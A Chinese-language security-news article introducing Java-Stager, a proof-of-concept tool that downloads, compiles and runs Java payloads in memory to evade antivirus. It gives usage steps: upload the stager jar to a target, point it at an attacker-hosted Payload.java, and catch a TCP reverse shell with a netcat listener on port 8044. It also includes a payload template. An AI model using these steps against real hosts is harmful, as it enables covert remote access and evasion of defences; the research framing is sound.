这里是普通文章模块栏目内容页
看我如何利用Java Stager在内存中下载、编译和执行Java文件

今天给大家介绍的是一款名叫Java-Stager的工具,在该工具的帮助下,我们可以轻松地在内存中下载、编译和执行Java文件(代码)。

看我如何利用这个Java Stager在内存中下载、编译和执行Java文件

看我如何利用这个Java Stager在内存中下载、编译和执行Java文件

注意:需要提醒大家一下,该项目仅供研究及测试使用,请不要将其用于恶意目的。

Java-Stager介绍

本项目基于James Williams的演讲《下一代反病毒引擎vs我的垃圾代码》所开发,感兴趣的同学可以观看他的演讲视频以获取更多的灵感:

视频地址:

看不到?点这里

演讲内容的关键点:

1.   如何在目标设备中加载一个Stager(需要使用合法代码触及目标磁盘);

2.   Stager通过HTTP下载源码(驻留在内存中);

3.   Stager编译源码(同样在内存中进行);

4.   Stager执行编译代码(同样在内存中进行);

不过他的研究主要基于的是.net,不过我认为这种技术同样能够应用到Java中,所以我就设计了这样一个PoC来验证上述技术的可行性。

如何使用?

1.   克隆整个项目代码;

2.   在能够使用maven的IDE编辑器(例如NetBeans)中打开项目目录;

3.   Stager和样本Payload可以在项目目录的”/src/main/java”中找到;

4.   选择你喜欢的Stager,然后编译项目代码,我在默认配置中选择的是“clean/build”;

Netbeans中的输出结果应该跟下面的代码类似:

Buildingjar:C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar

在目标主机中,你需要上传“JavaStageer*.jar”文件以及包含了Janino(从项目的“target”目录中获取)的“lib”文件夹。下面的命令将会执行stager:

java-jar JavaStager-0.1-initial.jar

下面这条命令可以给你提供相关文件的使用信息:

ProperUsage is: java -jar JavaStager-0.1-initial.jar <url>

其中的“url”是命令唯一需要的参数,该参数将会传递给Stager,下面给出的是一个使用样例:

java-jar JavaStager-0.1-initial.jar

你的Payload必须存储在一个名叫“Payload.java”的文件中,你的漏洞利用代码必须写在名叫“Run”的静态方法内。如果你想自己开发的话,可以参考下面这个模版代码:

publicclass Payload {    public static void Run() {       // Your code here    } }

我在“TCPReverseShell.java”文件中还提供了一个可供参考的反向TCP Payload,为了防止命名冲突,我就不将其取名为“Payload.java”了,如果你想了解“TCPReverseShell.java”的详细工作机制并进行定制开发的话,可以参考该文件Header中的注释内容。

除此之外,你可能还需要在自己的HTTP服务器上托管你的“Payload.java”文件,如果你只想使用简单的HTTP/HTTPS服务(Python2或Python3)的话,我建议你用Apache【参考资料】。

除此之外。攻击端还需要启动一个netcat监听器并使用标准nc -lvp 8044技术来捕捉链接回调。

参考资料

Java-Stager工作机制介绍:【传送门】

工具实际操作演示:【传送门】

收藏
0
有帮助
0
没帮助
0